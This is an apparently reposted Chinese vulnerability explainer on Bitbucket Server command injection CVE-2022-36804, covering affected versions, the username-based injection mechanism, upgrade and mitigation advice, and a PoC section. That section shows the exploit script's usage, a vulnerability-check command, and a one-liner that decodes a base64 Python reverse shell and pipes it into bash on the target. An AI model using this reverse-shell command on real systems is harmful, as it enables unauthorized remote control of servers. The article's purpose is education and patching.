Bitbucket Server 命令注入漏洞(CVE-2022-36804)

admin 2024年12月22日22:17:10评论35 views字数 3072阅读10分14秒阅读模式

Bitbucket Server 命令注入漏洞简述

 Bitbucket Server(之前称为 Bitbucket Data Center)是由 Atlassian 公司开发的一款企业级代码托管和协作工具。它是 Git 版本控制系统的一个扩展,提供了一个集中化的平台,用于代码管理、团队协作、代码审查和项目管理。Bitbucket Server 可以在企业内部网络中部署,也可以作为私有云服务部署,以确保代码和数据的安全性和合规性。
CVE-2022-36804 漏洞允许攻击者通过精心构造的请求在受影响的系统上执行任意系统命令。这意味着攻击者可能能够获取敏感数据、修改数据、删除数据或者完全控制系统。
影响版本:
7.0.0 <= Bitbucket Server和Bitbucket Data Center <= 8.3.0

Bitbucket Server 命令注入漏洞利用原理

Atlassian Bitbucket Server和Data Center命令注入漏洞(CVE-2022-36804)的利用原理如下:

1. 命令注入漏洞:该漏洞存在于Bitbucket Server和Bitbucket Data Center的多个API端点中,攻击者在拥有公共仓库的访问权限或私有仓库的读取权限时,可以通过发送恶意HTTP请求执行任意代码;
2. 环境变量注入:漏洞的关键在于攻击者可以利用环境变量进行命令注入。具体来说,攻击者可以控制其用户名,而Bitbucket Server和Data Center在执行某些操作时会将用户名作为环境变量传递给底层系统,攻击者可以通过在用户名中注入恶意代码来实现命令执行;
3. API端点利用:攻击者可以通过构造特定的API请求,利用上述环境变量注入漏洞,从而在服务器上执行任意命令。这通常涉及到对API端点的利用,如com.atlassian.stash.internal.rest.content.FileListResource等;
4. 权限控制:由于漏洞利用需要对仓库具有一定的访问权限,因此攻击者需要先获得对目标仓库的访问权限,然后才能执行恶意命令。

 

Bitbucket Server 命令注入漏洞POC

一个基本的POC示例如下:
1、POC代码(python脚本)
usage: exploit.py [-h] -p PROJECT -r REPO -u URL [-c COMMAND] [--proxy PROXY] [--session SESSION] [--check]Exploits the CVE-2022-36804 RCE in vulnerable BitBucket instances (< v8.3.1)optional arguments:  -h, --help            show this help message and exit  -p PROJECT, --project PROJECT                        The name of the project the public repository resides in (E.g. testproject)  -r REPO, --repo REPO  The name of the public repository (E.g. testrepo)  -u URL, --url URL     The URL of the BitBucket server (E.g. http://localhost:7990/)  -c COMMAND, --command COMMAND                        The command to execute on the server (E.g. 'curl http://canary.domain/')  --proxy PROXY         HTTP proxy to use for debugging (E.g. http://localhost:8080/)  --session SESSION     The value of your 'BITBUCKETSESSIONID' cookie, required if your target repo is private. (E.g. 3DD8B1EBA3763AD2611F4940BD870865)  --check               Only perform a check to see if the instance is vulnerable
2、使用以下命令检查实例是否易受攻击:
python3 exploit.py -p PROJECT -r REPO -u http://target.site/ --check
3、使用以下命令在受害者系统上建立反向Shell(需要将base64编码的payload替换为监听器的详细信息):
python3 exploit.py -p PROJECT -r REPO -u http://localhost:7990/ -c "echo 'cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTkyLjE2OC42Ny4zIiw4ODg4KSk7b3MuZHVwMihzLmZpbGVubygpLDApO29zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7cHR5LnNwYXduKCIvYmluL3NoIikn' | base64 -d | bash |"
(注意:
本POC仅用于教育和科普目的,以帮助理解漏洞的工作原理和潜在影响。在实际环境中,使用或创建POC来攻击系统是非法的,并且可能导致严重的法律后果。如果你是系统管理员或安全研究人员,应该在获得明确授权的情况下,使用这些信息来测试和加固自己的系统,而不是用于攻击他人系统。)

Bitbucket Server 命令注入漏洞防御方式

针对Bitbucket Server命令注入漏洞(CVE-2022-36804)的防御方式,以下是一些推荐的措施:

1. 升级到安全版本:Atlassian官方已经发布了安全补丁,建议受影响的用户尽快升级到以下安全版本以修复该漏洞:
   - Bitbucket Server和Data Center >= 7.6.17
   - Bitbucket Server和Data Center >= 7.17.10
   - Bitbucket Server和Data Center >= 7.21.4
   - Bitbucket Server和Data Center >= 8.0.3
   - Bitbucket Server和Data Center >= 8.1.3
   - Bitbucket Server和Data Center >= 8.2.2
   - Bitbucket Server和Data Center >= 8.3.1
2. 审查用户名:审查当前用户名并限制用户注册,以减少潜在的攻击面;
3. 禁用公共注册:作为临时措施,可以禁用Bitbucket的公共注册功能,以降低未授权攻击者利用该漏洞的风险。
4. 监控和响应:加强对系统的监控和审计,以便及时发现和响应可疑的活动;
5. 官方补丁:访问Atlassian官方网站下载并应用官方提供的补丁,以修复这个安全问题。
通过实施上述措施,可以有效地防御Bitbucket Server命令注入漏洞(CVE-2022-36804),保护系统免受未授权远程代码执行攻击的威胁。

 

原文始发于微信公众号(w小小杂谈w):漏洞科普——Bitbucket Server 命令注入漏洞(CVE-2022-36804)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月22日22:17:10
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Bitbucket Server 命令注入漏洞(CVE-2022-36804)https://cn-sec.com/archives/3540042.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息